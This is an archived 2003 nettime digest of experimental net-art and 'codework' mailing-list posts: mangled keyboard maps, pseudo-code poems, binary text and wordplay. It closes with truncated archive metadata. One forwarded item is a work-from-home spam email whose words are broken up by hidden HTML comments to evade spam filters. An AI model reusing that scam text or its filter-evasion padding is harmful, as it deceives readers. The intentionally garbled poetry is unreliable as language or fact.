0 0 0 0 0 0 0 0 0 0 0 0 0 ; c0 0 0 0ntr0 0 0 0l c0 0 0 0des\n      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ; c0 0 0 0ntr0 0 0 0l c0 0 0 0des\n      0\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\nDate: Sat, 31 May 2003 18:33:11 +0200\nFrom: +   lo_y.  + <loy {AT} myrealbox.com>\nTo: syndicate {AT} anart.no\nSubject: Re:  Re:  Re:  [shakeZkknut] I want the spirit of\n\nAt 18:32 31/05/03 +0200, +   lo_y.  + :\n\n& !* A {AT} /(3//, +//'-, 1411OQPXln lkY7 h. :.\nC)!<,00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000\n\n( ,0 EJM:ie )\n\n000000000000000000000000000000000000000\n0+/-/-/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0+/-/-/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0+/-/-/.00000000000000000000000000000000000000\n0+/-/-/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*/-/,/.00000000000000000000000000000000000000\n0*\n\n\n\n------------------------------------------------------------\n--------------44--------------------------------------------\n                       -\n-----------------------5------------------------------------\n------------------------------------------------------------\n-------------244.IMF {AT} \nYJ.(//FF-E.Y=.A_\n^W.+//EF5CjbQ^mnknklki.ln]/kn[AfjbYfj/ij[D/cXL6IH\n61.#//FF-E.Y=Q {AT} `Y_^k.eo^/\nW/.(//GG7.rfLDqn`Zikfgf.ik\\/mkXCmgaW\niQ.*//FF5Fn_R.mj[/niUCkg.Yg]Cea^VQ\nM4.$//GG4Co.MZ_.gi.Bh/=]Y?[j`]fh/jg\\Bghc.ekb\nkU.)//EF4Ck^M^k.eo^/fj-C\n?L/.`bBB-qeLBjlaZfn-ig\\ {AT} g.]Z[\niP.*//GG7.qfMCqo.[m/Ah\\?[e_alhlp.gm^A\n_G.*//GG7.pfMBoo.Xj\\/hhVCjfY^ca[fY\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\n\n-----1547HSOUd hiV8hf[Xhii-----------------------\n1.,GLAMd hjW:jia km] kkU8h \\WV8gj\\ moX khO8g XWW\niP*+k[ {AT} Uljh kkX fjQ6ejX inV9//_L4Cj.O]/Dkb {AT} bnf^ol\nkR ,mR2 nc ;p] YkS6ej[Rd hjW9 daK3\\pbO_legk`Xg._bX\neC(&X  {AT} MQ gbP7^ ]VS9//cL4Cj.O]/Dkb {AT} bnf^ol/dgZ?[\nZN *mV0Pl^Vfm igZ lg ;nY \\fR;o c]_;tmd po`:nldYkn\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [Re: [ c]8]_levelleDist\nDate: Sat, 31 May 2003 21:35:19 -0600\n\nr.(n).b.\nautumn-frequency\nTHEN: x/i/oNNe\n--------------\n-------------\n------------\n-----------\n----------\n---------\ngraphiCCaLLt_maTTe(s)_form_uLL8_resp.\n-============================//\nest.DTS.abl.seTTe.clst_eRR(s)_eRR:\"8:\n-============================/ORR:breatheMech\n+oft(n)RE:~TTe_wette.STAT++++++(n)ism_subSTIT\n----------------------//K-Line-open.dat\n+mini(n)AIM_est.i/o/(n).......(n)+++++++++++ \n+multi_processeTTeORRs:......+CH:::::::NNELL(S)\n++/-------------------\n-//\n.\nautumn-frequency\n----------------\nTO\n-\n=\n--\n+++WAV\n--\n=\n-\n(formatte)\n-\n=\n--\n+++RECPT\n--\n=\n-\n.\nOR\n.\n-\n/\n//\n///\n////\n/////\n//////\n///////\nautumn-frequency\n---------------------\n<-CUTBELOWSIG(N)ULL->\nautumn-frequency\n<-COM_STAT_PORT_KIT->\nautumn-frequency\n<-fileseize->\nCCCCCCCCCCCC\nCCCCCCCCCCC\nCCCCCCCCCC\nCCCCCCCCC\nCCCCCCCC\nCCCCCCC\nCCCCCC\nCCCCC\nCCCC\nCCC\nCC\nC\nautumn-frequency\nwhilst_triAng_uLL:\nautumn-frequency\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: jeanpaul_martin <jeanpaul_martin {AT} magic.fr>,\nSubject: e.x.o.d.e  29 = z\nDate: Sat, 31 May 2003 15:45:54 +0200\n\nk.e.y.c.o.d.e   9 = Escape Escape\nk.e.y.c.o.d.e  10 = q\nk.e.y.c.o.de  11 = u\nk.e.y.c.ode  12 = e E\nk.e.y.code  13 = l\nk.e.ycode  14 = q\nk.eycode  15 = u\nkeycode  16 = e E space\nk.eycode  17 =\nk.e.ycode  18 = p\nk.e.y.code  19 = a\nk.e.y.c.ode  20 = r\nk.e.y.c.o.de  21 = t\nk.e.y.c.o.d.e  22 =\nk.e.c.o.d.e  23 =\nk.e.x.o.d.e  24 = q\ne.x.o.d.e  25 = w\ne.x.o.d.e  26 = e E\ne.x.o.d.e  27 = r\ne.x.o.d.e  28 = t\ne.x.o.d.e  29 = z\ne.x.o.d.e  30 = u\ne.x.o.d.e  31 = i\ne.x.o.d.e  32 = o\ne.x.o.d.e  33 = p\ne.x.o.d.e  34 =\ne.x.o.d.e  35 =\ne.x.o.d.e  36 =\ne.x.o.d.e  37 =\ne.x.o.d.e  38 = a A\ne.x.o.d.e  39 = s\ne.x.o.d.e  40 = d\ne.x.o.d.e  41 = f\ne.x.o.d.e  42 = g\ne.x.o.d.e  43 = h\ne.x.o.d.e  44 = j\ne.x.o.d.e  45 = k\ne.x.o.d.e  46 = l\ne.x.o.d.e  47 =\ne.x.o.d.e  48 =\ne.x.o.d.e  49 =\ne.x.o.d.e  50 =\ne.x.o.d.e  51 =\ne.x.o.d.e  52 = y\ne.x.o.d.e  53 = x\ne.x.o.d.e  54 = c\ne.x.o.d.e  55 = v\ne.x.o.d.e  56 = b\ne.x.o.d.e  57 = n\ne.x.o.d.e  58 = m\ne.x.o.d.e  59 =\ne.x.o.d.e  60 =\ne.x.o.d.e  61 =\ne.x.o.d.e  62 =\ne.x.o.d.e  63 =\ne.x.o.d.e  64 =\ne.x.o.d.e  65 = space space\ne.x.o.d.e  66 =\ne.x.o.d.e  67 =\ne.x.o.d.e  G8 = zZ\ne.x.o.d.e  69 =\ne.x.o.d.e  70 =\ne.x.o.d.e  71 =\ne.x.o.d.e  72 = quelque part\ne.x.o.d.e  73 =\ne.x.o.d.e  74 =\ne.x.o.d.e  75 =\ne.x.o.d.e  76 =\ne.x.o.d.e  77 = s\ne.x.o.d.e  78 = o\ne.x.o.d.e  79 = m m\ne.x.o.d.e  80 = e   M et\ne.x.o.d.e  81 = w\ne.x.o.d.e  82 = h\ne.x.o.d.e  83 = e\ne.x.o.d.e  84 = r\ne.x.o.d.e  85 = e\ne.x.o.d.e  86 =\ne.x.o.d.e  87 =\ne.x.o.d.e  88 =\ne.x.o.d.e  89 =\ne.x.o.d.e  90 =\ne.x.o.d.e  94 =\ne.x.o.d.e  95 =\ne.x.o.d.e  96 =\ne.x.o.d.e 108 =\ne.x.o.d.e 109 =\ne.x.o.d.e 112 = aA Evian le sommet du G8[d-u-g-\u00e9-H-u-i-t-e-u]\ne.x.o.d.e 113 =\ne.x.o.d.e 114 = Break\ne.x.o.d.e 110 = Find\ne.x.o.d.e  98 = Up\n                             et les au[other]es mond[WelD]s\ne.x.o.d.e 100 = Left\ne.x.o.d.e 102 = Right\ne.x.o.d.e 115 = Select\ne.x.o.d.e 104 = Down\ne.x.o.d.e 105 = Next\ne.x.o.d.e 106 = Insert\n\n                              W\n\nkeycode 116 =  an [other] m [Oo]nde\n                              r  t\nkeycode 117 =                l    h\n                                        e\nadd Mod1 =                   D                             R\nadd Mod2 =\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\nDate: Thu, 15 May 2003 02:10:23 -0500\nTo: <nettime {AT} bbs.thing.net>., \"nettimeNettime\" {AT} bbs.thing.net\nSubject: ~ Working at home sound good? We're hiring~ \nFrom: nettimeNettime {AT} eolock01.com\n\n<Html> <Body>nettime,<Br><br>Interested in em<!--a loyal Frenchman, thought accused of treason; tell me where -->ployment from home? Need a career that provides you with a wide variety of opportunities and a stable income? We're seeking motiv\n<!--profound pity, we ought always to help one another. Very -->ated individuals who are interested in working at home, but are also responsible enough to han<!--Yes, said the old man's look, with eagerness. -->dle the various freedoms, benefits, knowledge and income that come with what our corporation has to offer.<Br><br>Immediate \n<!--knows his cause is good. Little acquainted as I am with the -->position\n<!--profound pity, we ought always to help one another. Very -->s are available. Experie<!--counted and counted them again in her turn. During this -->nce is not necessarliy a problem. We are growing at such a rapid pace, th\n<!--profound pity, we ought always to help one another. Very -->at we are willing to train everyone \" who we feel \" are a good fit <!--counted and counted them again in her turn. During this -->for our organization.<Br><br>So if you're a responsible and motivated person, and are ready willing and able, we would like to speak to you as soon as possible.<Br><br>To get more details visit our human resources online contact information short form, and someone for our staff will contact within 48 hours. Click here now to request more information -<a href=\"http://www.____________.com/am/arz.htm?657\";>http://www.________.com</a><Br><br>````````````````````````````````````````````````````````````````Addresses are received from an email list company. To be removed from list\n$click here now: <a href=\"http://www.____________.com/remove/remove.html?384\";>http://www.________.com</a>\nThank you.<Br>````````````````````````````````````````````````````````````````\nThank you \nfor your time.</font>\n$</Html>   </Body>\n\n\n\n\nDate: Mon, 2 Jun 2003 23:23:37 -0700 (PDT)\nFrom: Wilfried Hou je Bek <wilfriedhoujebek {AT} yahoo.com>\nTo: 7-11 {AT} mail.ljudmila.org\nSubject: disco socialisme [lo_y remix]\n\nDISCCO SOC.IO [s.sc ssnatc]\n\n(DISCOSOCIALISM LO_Y'ED)\n\n\n#\n\n    rw.an.ngsuse.rt-vrc.us\n    ed, ddt.rm.yu\n    r-rly m-vrc.us\n\n    ny, ny ms t t, n.gl.ib t,\nn.gl.nnd::ro.n.gl[un]lo.rt\n    de.neo.st-do'n fnkn (ak.ddesy hs)' asy asy ore\nSY.orth[soc]rave\n\n\n    ed, dt, em nt #w.da.blg-n\n\n    e::s.dt, dt {AT} rethoso tr[y]\n\n    o, v #l.iscditho( )\n\n    uw.daedt.da\n\n\n\n#\n\nder.gn::bin.us.sufi {   \n   sac.tia {AT} arm::     \n   NAZH.n.autem.spc.t.ear.psic \n   disco.spc.t.saw.us.sufi {\n       sac::rstm d-ress.al l\n       rn.ill.w.wty::MOrave.de(Ah).us.sufi {\n           Pyt::dic.r[h.t.h]eign::mr Tal.n/d.ty!! \n           thms.bin.jazz        \n           sufic RAS::Pyt::b-lib.jazz \n           sord .us.sufi {   \n               dnc.s. WSrom.syst.wh\n               dnc.s.s.A.swarm:: moun.dec.e \n              \ndance.S.Pyt.dic.spc.t.r[h.t.h].bin.us.sufi {\n                   samp.tr.mr.llegin thms a\ndnc.un.vrs::som.ppin \n                   saw.rp[sic].rllegime\n                   differse rede\u00e7 \n                   s.f.ign::bin.us.sufi {\n                       re.nd.ce \n                       re.nd.gll.stem snoff \n                      \ndnc.re..ndscss::bin.gime.us.sufi {\n                           Hi-p \n                           sufi::bin.jazz::-1 \n                                                      \n }\n                                        }    \n                                                      \n   }\n                         } \n                                           }\n\nsamp.tr.mr.llegin thms a dnc.un.vrs:: gl.som.ppin!\n\n                           }\n                   }\n\n\n#\n\nth.xa.gn\nnnIT.soc.lmos, ted, br-ntam.las, to ove/-10dB\n                                                     \n/dis.flt! \n                                         \nsian.tog/manch'wer ch \ntherm.app.reclass/-\n     br.ntam.thms.nt.stroyed decad.se/-100 He\n0-through-clism was\n                                                      \n                                       \nthms/ezer ch' of\nnnch.lnat.pred:: fth/mp'out soc.'ch' willtest ove\nfloor.ntameth tes \nted, auss th lsm.sum wash. ove! \n                                                      \n                                       \nsoc.lis rvol.b'pt-ed, \n                     pos/ing of (test).nnTamil.nen-he\ndec.cd \n                                                \npos/ts, to ove \nfr.w.rde! \n                                                \nnumb::'pr.XY.d, \n                                                      \nsoc.Th.x.gn, \n                                                 \nsoc.'con'.put.s.mil-t-ter nchan \n                                           soc'ption,\nble \n                     soc.Ther \nfroyed::'p.ed.get.hex-g.n.n.tg.thr.y.d::dis.flm::t.f.f.wsh.lin.wilt.gauss\n     soc.(st) alg/ltes+ tgh.lism on to\nspd.gehms/ezerce num \n                                                      \n      rcad/in \nw.nn wash.lsm weirde dsc was, \n                                                      \n      \ndane/disc.sum \nsoc.froyed, per 9.fity in-ts.pre.soc.froyed,\nds.nt.mt.hk.u (Ah) a he \nflar ancd the flas.st\n\n\n#\n\n(Oohhhh) (Aahh) (Oohh) / p.rm[d.n]t[er ] / he\nde::Kn-nd \n       dty ob[aim.t]h / sc::Kn-nn \n                      obtns::den?Kn-nn? / \ndis.th-(Oohh).th-(Oohh).we.lism \n\nBEHAVE ob[aim.t]hndl::baby, the soc.mad.n? \n\nDT m.rks.de::r-rks.vir::thism DT\ndntr.p.w.hndl::-rrks.mad::we.de::baby\n\nBEHAVE han::Kn-nd::Kn-nd::Kn-nd::r-rks (Aahhhh) /\nprm[b]t[ns] / aim \n                                     BEHAVE delen\nBEHAVE l-t / \nhe.DT(y) bt / rks.otm \n\nbaby, u::Kn-n-nt-ty / k.ndl.ntr.co::we.lr (Oohhh) we\ndelen? \nKn-nn.brns.md::RECLAIM\n\n\n#\n\nwhe.rc[tr]l[d]m::st.ri.int, {   \n   res.tet {AT} int::            \n   YOU, I.mt-hi.gea.e.aty.Ican.gen::cond \n   tems.w.h.nt.p.ttur {     \n       epr::p[l]o[s]t a-des, er d\n       l.ahh.t.ens::RT-ran.51(Clt).it.nth {\n           Vis::ies.c[s.a.r]edit::tm Nge.a/i.turn \n           tn.tr.nsco                     \n           tteg WET::All::e-ura.t, at          \n           ol.rn.weth.frq.tmp {                     \n               wh.r.WHeag.ph.sc.gen           \n               z.ro.a.t.B.nlik::tmr.z.ro::cond \n              \nz.ro.D.Sin.th.get.u.z[r.t.a].ies.or.ercr {\n                   youc.nd.we.sng\nthin.ne.hin::on::comr\n                   wh.es[old].ible, tur     \n                   tur[hi]n-g n.nki.gen              \n                   t.n.or::ert.p.ms.hase {      \n                       nc.al.yn                    \n                       ll.it.ate.son::mov.g::cond     \n    \n                       set.p.listur::wh.vies.an.gwi {\n                           Lo-o                      \n                           ion:::int.le::-r.turn      \n    \n                                                    }\n                                         }            \n  \n                                                      \n }\n\nder.z.ro.e,\ntoi.nti[dt][h]kit.en::z.ro.dun.ewh.gen::comr\n\n                             }            \n                                          }\n                                 \n                      }    \n                           }\n\n\n#\n\ndisc.Yen?ns.greais.i.v.ble  [right to s] (Agolygon can\ns-espace wh)\nlic.whi[l]t.box to nes to beatboxht to \nre disc.s[la]nd.fct-door' sco-u no dr. pp\n\npblc.mbinatch wday::need map.(ddsav) no -classes[disco\nis] \n\nd.cien-c you comb.nat.class.s.maps.nrs (we disco~ygon\ncan sciah).an-dr. \noc.grkbeat son.ply.gn (can so) (Aahhhhh).aension \n\n    [di] to rng[d]serv-trd::mbinatch \n    li.rng.ad.seat/song.altbox to \n    need::r.vis::it's social \n    dian social \n    dies \n    too islands  \n\n[fores] (Aahhhhh) (gate/danco/m/es::s::need::\n\n    [disco is] to r                                   \n              e \n\nobc spat.n.cub.t.box to~scape  \n\n\n\n=====\nDISCO SOCIALISM THE WORD & THE MOTION IS\n\nhttp://www.discosocialisme.tk\n\n\n\nhttp://www.socialfiction.org  \nhttp://www.socialfiction.org/psychogeography  \nhttp://socialfiction.blogspot.com\n\n__________________________________\nDo you Yahoo!?\nYahoo! Calendar - Free online calendar with sync to Outlook(TM).\nhttp://calendar.yahoo.com\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Sat, 31 May 2003 04:56:39 +0200\nTo: syndicate {AT} anart.no\nFrom: evh_transcribe {AT} yahoo.com\nSubject: [shakeZkknut] I want the spirit of Syndicate to awaken ! - http://anart.no/~syndicate/KKnut/\n\n\n------------=_1054349802-643-74\n\n\nPsycho Pompus Print: ether - nudeFoot\nname: Eric Van Hove\nmailto:evh_transcribe {AT} yahoo.com\nhttp://www.transcri.be\n\nand I whisper:\n\n0100111101101000001011000010000001110011011000010111100100100000011000110110000101101110001000000111100101101111011101010010000001110011011001010110010100101100001000000110001001111001001000000111010001101000011001010010000001100100011000010111011101101110001001110111001100100000011001010110000101110010011011000111100100100000011011000110100101100111011010000111010000101100000011010000101001010111011010000110000101110100001000000111001101101111001000000111000001110010011011110111010101100100011011000111100100100000011101110110010100100000011010000110000101101001011011000110010101100100001000000110000101110100001000000111010001101000011001010010000001110100011101110110100101101100011010010110011101101000011101000010011101110011001000000110110001100001011100110111010000100000011001110110110001100101011000010110110101101001011011100110011100111111\n\n\n------------=_1054349802-643-74\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1054349802-643-74--\n\n\n\nDate:         Thu, 5 Jun 2003 09:49:58 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: im/inpudding\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nthis is a text generator\nfour fingers cat's cradle no brainer\nt ex ex ex t generator ex t t nergator\n\ninput: sex\n\nt sex ex ex t sen xer ta ta ex t ator\n\ninput: august eight\n\nt ex sau t gust se gen XX sei t ust ten\narte ex ie sex t ghts t\nex-cavator\n\nimput: sunny day\n\nt se gx sa nn nn  sut dat t ex ex ayanny\ndex etun tun say ex X\ny in-corporator\n\ninput: rational\n\ntg  ext rag gent ex  tex ton lo  o ne on\nex ge ge not no e orro ran ran ran aes\npro-sprirator\n\ninput: indistinct\n\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\nirrational irrational irrational irrational irrational\nirrational\n\ninput: orderly\nt ex ex ex ex processing porcessing porcessing pro\ncess\nsing sing sing sing sing sing sing sing sing sing sing\nla lalalal alallala lalalla  alalalalall\nlalalalaaaaaalala lal la\nt er er erer terribly tembily  temporary dely der\nderly y\ndear dear dear dear dear dear dear dear dear dear dea\nwhicita tulsa kansas city baltimore which is it tul\ntal\ntel sa ma ka an ulsasas isgh bitty bitty balt timor\nrily\ntempo telma kama kulbal which is it balt or more is i\nprocessing porcessing porcessing porcessing pro\n\ninput: thumbs\nlaskjdfaw;lkeiurhpoqwieytoqiwerh;kdjgn;skdjngs;lkjg\n;oaiweshtp;oqirehgf we;oirhg;eoirhgq;lrekhg;lkh\no3i4tuq;kjngbvasd,mnbfq;oieutq'p4u' ;lfja;ldkfj\n;oqwiehf ;qoirelhgq;kejgbvq;lkdfjq'n pcoewj v\n;oqireyutq;oweituq3[4poetu'2[304-9poa;/slfmndjf,gbw\n\nexcellent imputting:  post to Best on Net Asap sap los\nas saplos\nasaplos itd. oh not oh dear dear not issnot possible\n\n\ncopybitten:\n\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nYahoo! Calendar - Free online calendar with sync to Outlook(TM).\nhttp://calendar.yahoo.com\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Urge\nDate: Mon, 2 Jun 2003 23:43:47 -0400 (EDT)\n\n\n\nUrge\n\nUrge go hztrayght up GRA! hZTREET on pe North &... take pe pyrd hztreet on\nyour lepht, &... ...&! go hztrayght up 4D hZTREET, &... take pe phiyrhzt\nkeyorneros, on pe ryght-h&... TAZyde. (Shehz reaelelel! TAZomepyng!)\n\nUrge go hztrayght up GRA! hZTREET on pe TAZouth &... take pe phiyrhzt\nkeyorneros, ...&!  go hztrayght up LyNKAYOLN hZTREET through up BROWN\nhZTREET on pe keyorneros. (BuKapateveros!)\n\nUrge go hztrayght up 4D hZTREET on pe uhze-meehzt &... take pe pyrd\nhztreet on pe lepht. ...&! take on pe two blosakeyk, on pe lepht-h&...\nTAZyde. (Shehz out ophlsh!  heros m9nd!)\n\nUrge go hztrayght up GRANT hZTREET on pe uhze-meehzt &... take TAZekeyond\nhztreet o pe ryght, ...&! go hztrayght up 4D hZTREET on pe Eahzt, &...\ntake phiyrhzt keyorneros, on pe lepht-h&... TAZyde. (Get rel!)\n\nmornyng, pleahze ...&! go 4 a uhze-mealk yn OUHOR! PARK (She dydnt gyve yt\na hzekeyond pought!)\n\nShe's hot!\n\n\n__\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: lov/evil(1)\nDate: Wed, 04 Jun 2003 23:29:48 +0200\n\ns.t.a\\n.d.a.r.d.k.e.y.b.o.a.r.d.d.a.t.a.f.i.l.e.\n           \\\n\\qw    \\              love\\evol\nw\\e        \\          live\\evil\ner\\          \\        love\\evol\nrt \\          \\       love\\evil\n.ty  \\         \\      love\\evol\ny\\u   \\         \\\nui\\                   love\\evil\ni\\o \\             \\\nop\\                \\  live\\evol\nas \\                \\\nsd  \\                 \\\ndf   \\                l\\ve\\evol\nfg  \\                   \\\ng\\h   \\                  \\\nh\\j    \\                   \\\njk\\                   love\\evil\nkl  \\                        \\\nzx   \\                        \\\n.xc    \\\n.cv\n.vb                           rev\\ol\n.bn                            rev.e ver\nn\\m                   love\\evil\n\nhttp://www.atelierblanc.net/p-gustin/uTOpia/capture071.png\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: my site (fwd)\nDate: Wed, 4 Jun 2003 21:49:22 -0400 (EDT)\n\n\n\n---------- Forwarded message ----------\nDate: Wed, 4 Jun 2003 10:04:52 +0900\nFrom: Kenji Siratori <white-b {AT} d4.dion.ne.jp>\nTo: Alan Sondheim <sondheim {AT} panix.com>\nSubject: my site\n\nDear Alan,\n\nI launched my site!\nhttp://www.kenjisiratori.com\n\nSincerely,\nKenji\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"CC\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: c\nDate: Sat, 31 May 2003 20:35:13 -0600\n\n============================-\nest.ablist.seTTe.clust_eRR(s)\n============================- \noft(n) shareTTe mem.STACK \n----------------------//K-Line\nwork.stat.i/o/(n).......(n) \nmulti_processORRs:......acc.\n+/-\n//\n.\nautumn-frequency\n \n\n\n\n\n\n\nnettime unstable digest vol 50\nSun Jun  8 17:51:39 2003\n\n\nSubject: LINK42\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>(by way of Auriea.)\n    To: syndicate {AT} anart.no\n\nSubject: Re: [ radio radio]\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"whisettesLisette\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: Re: [ c]8\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: rev.e ver\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re:  Re:  Re:  [shakeZkknut] I want the spirit of\n    From: +   lo_y.  + <loy {AT} myrealbox.com>\n    To: syndicate {AT} anart.no\n\nSubject: Re: [Re: [ c]8]_levelleDist\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: e.x.o.d.e  29 = z\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: jeanpaul_martin <jeanpaul_martin {AT} magic.fr>,\n\nSubject: ~ Working at home sound good? We're hiring~ \n    From: nettimeNettime {AT} eolock01.com\n    To: <nettime {AT} bbs.thing.net>., \"nettimeNettime\" {AT} bbs.thing.net\n\nSubject: disco socialisme [lo_y remix]\n    From: Wilfried Hou je Bek <wilfriedhoujebek {AT} yahoo.com>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: [shakeZkknut] I want the spirit of Syndicate to awaken ! - http://anart.no/~syndicate/KKnut/\n    From: evh_transcribe {AT} yahoo.com\n    To: syndicate {AT} anart.no\n\nSubject: im/inpudding\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Urge\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: lov/evil(1)\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: my site (fwd)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: c\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"CC\" <_arc.hive_ {AT} lm.va.com.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 8 Jun 2003 17:52:36 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200306120509.h5C59Bj05123 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0306/msg00051.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 50"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00024",
